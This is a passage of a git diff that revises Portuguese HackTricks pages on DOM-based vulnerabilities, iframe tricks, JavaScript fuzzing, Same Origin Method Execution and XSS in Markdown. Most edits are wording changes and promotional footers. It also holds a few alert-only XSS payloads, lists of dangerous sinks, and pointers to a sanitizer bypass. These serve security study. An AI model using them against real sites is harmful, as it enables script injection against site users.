* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Vulnerabilidades DOM
|
||||
|
||||
As vulnerabilidades DOM ocorrem quando dados de **fontes** controladas pelo atacante (como `location.search`, `document.referrer` ou `document.cookie`) são transferidos de forma insegura para **sinks**. Sinks são funções ou objetos (por exemplo, `eval()`, `document.body.innerHTML`) que podem executar ou renderizar conteúdo prejudicial se receberem dados maliciosos.
|
||||
Vulnerabilidades DOM ocorrem quando dados de **fontes** controladas pelo atacante (como `location.search`, `document.referrer` ou `document.cookie`) são transferidos de forma insegura para **sinks**. Sinks são funções ou objetos (por exemplo, `eval()`, `document.body.innerHTML`) que podem executar ou renderizar conteúdo prejudicial se receberem dados maliciosos.
|
||||
|
||||
- **Fontes** são entradas que podem ser manipuladas por atacantes, incluindo URLs, cookies e mensagens da web.
|
||||
- **Sinks** são pontos finais potencialmente perigosos onde dados maliciosos podem levar a efeitos adversos, como a execução de scripts.
|
||||
|
||||
O risco surge quando os dados fluem de uma fonte para um sink sem validação ou saneamento adequados, permitindo ataques como XSS.
|
||||
O risco surge quando os dados fluem de uma fonte para um sink sem validação ou saneamento adequado, permitindo ataques como XSS.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Você pode encontrar uma lista mais atualizada de fontes e sinks em** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
|
||||
|
@ -116,7 +116,7 @@ $.ajax()
|
|||
|
||||
De: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
|
||||
|
||||
Vulnerabilidades de manipulação de cookies baseadas em DOM ocorrem quando um script incorpora dados, que podem ser controlados por um atacante, no valor de um cookie. Essa vulnerabilidade pode levar a comportamentos inesperados na página da web se o cookie for utilizado dentro do site. Além disso, pode ser explorada para realizar um ataque de fixação de sessão se o cookie estiver envolvido no rastreamento de sessões de usuário. O principal sink associado a essa vulnerabilidade é:
|
||||
Vulnerabilidades de manipulação de cookies baseadas em DOM ocorrem quando um script incorpora dados, que podem ser controlados por um atacante, no valor de um cookie. Essa vulnerabilidade pode levar a comportamentos inesperados na página da web se o cookie for utilizado dentro do site. Além disso, pode ser explorada para realizar um ataque de fixação de sessão se o cookie estiver envolvido no rastreamento das sessões do usuário. O principal sink associado a essa vulnerabilidade é:
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -175,11 +175,11 @@ someDOMElement.href
|
|||
someDOMElement.src
|
||||
someDOMElement.action
|
||||
```
|
||||
### Manipulação de requisição Ajax
|
||||
### Manipulação de solicitação Ajax
|
||||
|
||||
De: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
|
||||
|
||||
As vulnerabilidades de **manipulação de requisição Ajax** surgem quando um script escreve **dados controláveis pelo atacante em uma requisição Ajax** que é emitida usando um objeto `XmlHttpRequest`.
|
||||
As vulnerabilidades de manipulação de solicitação Ajax surgem quando um script escreve dados controláveis pelo atacante em uma solicitação Ajax emitida usando um objeto `XmlHttpRequest`.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -193,7 +193,7 @@ $.globalEval()
|
|||
|
||||
De: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
|
||||
|
||||
As **vulnerabilidades de manipulação de caminho de arquivo local** surgem quando um script passa **dados controláveis pelo atacante para uma API de manipulação de arquivo** como o parâmetro `filename`. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, poderia levar o **navegador do usuário a abrir ou escrever em um arquivo local arbitrário**.
|
||||
As **vulnerabilidades de manipulação de caminho de arquivo local** surgem quando um script passa **dados controláveis pelo atacante para uma API de manipulação de arquivo** como o parâmetro `filename`. Essa vulnerabilidade pode ser explorada por um atacante para construir uma URL que, se visitada por outro usuário, poderia levar o **navegador do usuário a abrir ou escrever um arquivo local arbitrário**.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -219,7 +219,7 @@ executeSql()
|
|||
|
||||
De: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
|
||||
|
||||
As vulnerabilidades de **manipulação de armazenamento HTML5** surgem quando um script **armazena dados controláveis pelo atacante no armazenamento HTML5 do navegador web** (`localStorage` ou `sessionStorage`). Embora essa ação não seja inerentemente uma vulnerabilidade de segurança, torna-se problemática se a aplicação posteriormente **ler os dados armazenados e processá-los de forma insegura**. Isso poderia permitir que um atacante aproveitasse o mecanismo de armazenamento para realizar outros ataques baseados em DOM, como scripts entre sites e injeção de JavaScript.
|
||||
As vulnerabilidades de **manipulação de armazenamento HTML5** surgem quando um script **armazena dados controlados pelo atacante no armazenamento HTML5 do navegador web** (`localStorage` ou `sessionStorage`). Embora essa ação não seja inerentemente uma vulnerabilidade de segurança, torna-se problemática se a aplicação posteriormente **ler os dados armazenados e processá-los de forma insegura**. Isso poderia permitir que um atacante aproveitasse o mecanismo de armazenamento para realizar outros ataques baseados em DOM, como scripting entre sites e injeção de JavaScript.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -292,7 +292,7 @@ history.replaceState()
|
|||
|
||||
De: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
|
||||
|
||||
As vulnerabilidades de **negação de serviço baseadas em DOM** ocorrem quando um script passa **dados controláveis pelo atacante de forma insegura para uma API de plataforma problemática**. Isso inclui APIs que, quando invocadas, podem fazer com que o computador do usuário consuma **quantidades excessivas de CPU ou espaço em disco**. Tais vulnerabilidades podem ter efeitos colaterais significativos, como o navegador restringindo a funcionalidade do site ao rejeitar tentativas de armazenar dados no `localStorage` ou encerrar scripts ocupados.
|
||||
As **vulnerabilidades de negação de serviço baseadas em DOM** ocorrem quando um script passa **dados controláveis pelo atacante de forma insegura para uma API de plataforma problemática**. Isso inclui APIs que, quando invocadas, podem fazer com que o computador do usuário consuma **quantidades excessivas de CPU ou espaço em disco**. Tais vulnerabilidades podem ter efeitos colaterais significativos, como o navegador restringindo a funcionalidade do site ao rejeitar tentativas de armazenar dados no `localStorage` ou encerrar scripts ocupados.
|
||||
|
||||
Sinks:
|
||||
```javascript
|
||||
|
@ -309,10 +309,10 @@ RegExp()
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -16,9 +16,9 @@
|
|||
|
||||
Existem 3 maneiras de indicar o conteúdo de uma página em um iframe:
|
||||
|
||||
* Através de `src` indicando uma URL (a URL pode ser de origem cruzada ou de mesma origem)
|
||||
* Através de `src` indicando o conteúdo usando o protocolo `data:`
|
||||
* Através de `srcdoc` indicando o conteúdo
|
||||
* Através do `src` indicando uma URL (a URL pode ser de origem cruzada ou de mesma origem)
|
||||
* Através do `src` indicando o conteúdo usando o protocolo `data:`
|
||||
* Através do `srcdoc` indicando o conteúdo
|
||||
|
||||
**Acessando variáveis do Pai e do Filho**
|
||||
```html
|
||||
|
@ -128,7 +128,7 @@ Quando utilizado, o atributo `sandbox` impõe várias limitações:
|
|||
- A navegação do contexto de navegação de nível superior do conteúdo pelo próprio conteúdo é impedida.
|
||||
- Recursos que são acionados automaticamente, como reprodução de vídeo ou foco automático de controles de formulário, são bloqueados.
|
||||
|
||||
O valor do atributo pode ser deixado em branco (`sandbox=""`) para aplicar todas as restrições mencionadas anteriormente. Alternativamente, ele pode ser definido como uma lista separada por espaços de valores específicos que isentam o iframe de certas restrições.
|
||||
O valor do atributo pode ser deixado em branco (`sandbox=""`) para aplicar todas as restrições mencionadas acima. Alternativamente, ele pode ser definido como uma lista separada por espaços de valores específicos que isentam o iframe de certas restrições.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
|
@ -151,15 +151,3 @@ Verifique as seguintes páginas:
|
|||
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
# Diversos Truques de JS e Informações Relevantes
|
||||
# Diversos Truques JS & Informações Relevantes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Fuzzing de Javascript
|
||||
## Fuzzing Javascript
|
||||
|
||||
### Caracteres de Comentário JS Válidos
|
||||
```javascript
|
||||
|
@ -330,7 +330,7 @@ console.log(String(afunc)); //This will print the code of the function
|
|||
console.log(this.afunc.toString()); //This will print the code of the function
|
||||
console.log(global.afunc.toString()); //This will print the code of the function
|
||||
```
|
||||
Em casos em que a **função não tem nome**, ainda é possível imprimir o **código da função** de dentro dela:
|
||||
Em casos em que a **função não tem nome**, ainda é possível imprimir o **código da função** de dentro:
|
||||
```javascript
|
||||
(function (){ return arguments.callee.toString(); })()
|
||||
(function (){ return arguments[0]; })("arg0")
|
||||
|
@ -387,9 +387,9 @@ with(element) {
|
|||
<img src onerror=defaultView.alert(1337)>
|
||||
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Ponto de interrupção no acesso ao valor
|
||||
|
||||
{% endcode %}
|
||||
```javascript
|
||||
// Stop when a property in sessionStorage or localStorage is set/get
|
||||
// via getItem or setItem functions
|
||||
|
@ -477,7 +477,7 @@ await browser.close();
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Execução de Método de Mesma Origem (SOME)
|
||||
# Execução de Método de Mesma Origem (SOME - Same Origin Method Execution)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,25 +7,25 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo Discord** ou ao **grupo telegram** ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo Discord** ou ao **grupo Telegram** ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para** o [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** o [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Execução de Método de Mesma Origem
|
||||
|
||||
Haverá ocasiões em que você poderá executar algum javascript limitado em uma página. Por exemplo, no caso em que você pode [**controlar um valor de retorno que será executado**](./#javascript-function).
|
||||
Haverá ocasiões em que você poderá executar algum JavaScript limitado em uma página. Por exemplo, no caso em que você pode [**controlar um valor de retorno que será executado**](./#javascript-function).
|
||||
|
||||
Nesses casos, uma das melhores coisas que você poderia fazer é **acessar o DOM para chamar qualquer** ação sensível que você possa encontrar lá (como clicar em um botão). No entanto, geralmente você encontrará essa vulnerabilidade em **pequenos pontos de extremidade sem nada interessante no DOM**.
|
||||
|
||||
Nesses cenários, esse ataque será muito útil, pois seu objetivo é poder **abusar da execução limitada de JS dentro de um DOM de uma página diferente do mesmo domínio** com ações muito interessantes.
|
||||
Nesses cenários, esse ataque será muito útil, pois seu objetivo é ser capaz de **abusar da execução limitada de JS dentro de um DOM de uma página diferente do mesmo domínio** com ações muito interessantes.
|
||||
|
||||
Basicamente, o fluxo do ataque é o seguinte:
|
||||
|
||||
* Encontre um **callback que você possa abusar** (potencialmente limitado a \[\w\\.\_]).
|
||||
* Se não for limitado e você puder executar qualquer JS, você poderia simplesmente abusar disso como um XSS regular.
|
||||
* Faça a **vítima abrir uma página** controlada pelo **atacante**.
|
||||
* A **página se abrirá** em uma **janela diferente** (a nova janela terá o objeto **`opener`** referenciando a inicial).
|
||||
* A **página se abrirá** em uma **janela diferente** (a nova janela terá o objeto **`opener`** fazendo referência à inicial).
|
||||
* A **página inicial** carregará a **página** onde o **DOM interessante** está localizado.
|
||||
* A **segunda página** carregará a **página vulnerável abusando do callback** e usando o objeto **`opener`** para **acessar e executar alguma ação na página inicial** (que agora contém o DOM interessante).
|
||||
|
||||
|
@ -38,14 +38,26 @@ Além disso, para que a segunda página possa usar o objeto opener, **ambas as p
|
|||
### Exploração
|
||||
|
||||
* Você pode usar este formulário para **gerar um PoC** para explorar esse tipo de vulnerabilidade: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Para encontrar um caminho DOM para um elemento HTML com um clique, você pode usar esta extensão do navegador: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
* Para encontrar um caminho do DOM para um elemento HTML com um clique, você pode usar esta extensão do navegador: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Exemplo
|
||||
|
||||
* Você pode encontrar um exemplo vulnerável em [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* Observe que neste exemplo o servidor está **gerando código javascript** e **adicionando** ao HTML com base no **conteúdo do parâmetro de callback:** `<script>opener.{callbacl_content}</script>` . Por isso, neste exemplo, você não precisa indicar o uso de `opener` explicitamente.
|
||||
* Confira também este CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
* Observe que neste exemplo o servidor está **gerando código JavaScript** e **adicionando** ao HTML com base no **conteúdo do parâmetro de callback:** `<script>opener.{callbacl_content}</script>` . Por isso, neste exemplo, você não precisa indicar o uso de `opener` explicitamente.
|
||||
* Confira também este relatório de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo Discord** ou ao **grupo Telegram** ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para** o [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** o [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -24,7 +24,7 @@ A maneira mais comum de obter XSS em markdown é injetar tags HTML comuns que ex
|
|||
```
|
||||
Pode encontrar mais exemplos na [página principal de XSS do hacktricks](./).
|
||||
|
||||
### Links de Javascript
|
||||
### Links em Javascript
|
||||
|
||||
Se as tags HTML não forem uma opção, você sempre pode tentar brincar com a sintaxe do markdown:
|
||||
```html
|
||||
|
@ -50,7 +50,7 @@ Se as tags HTML não forem uma opção, você sempre pode tentar brincar com a s
|
|||
```
|
||||
### Bypass do Markdown do Sanitizador HTML
|
||||
|
||||
O código a seguir está **saneando a entrada HTML** e então **passando-a para o analisador de markdown**, então, XSS pode ser acionado abusando de interpretações incorretas entre Markdown e DOMPurify 
|
||||
O código a seguir está **saneando a entrada HTML** e então **passando-a para o analisador de markdown**, então, XSS pode ser acionado abusando de interpretações erradas entre Markdown e DOMPurify 
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
|
@ -160,10 +160,10 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
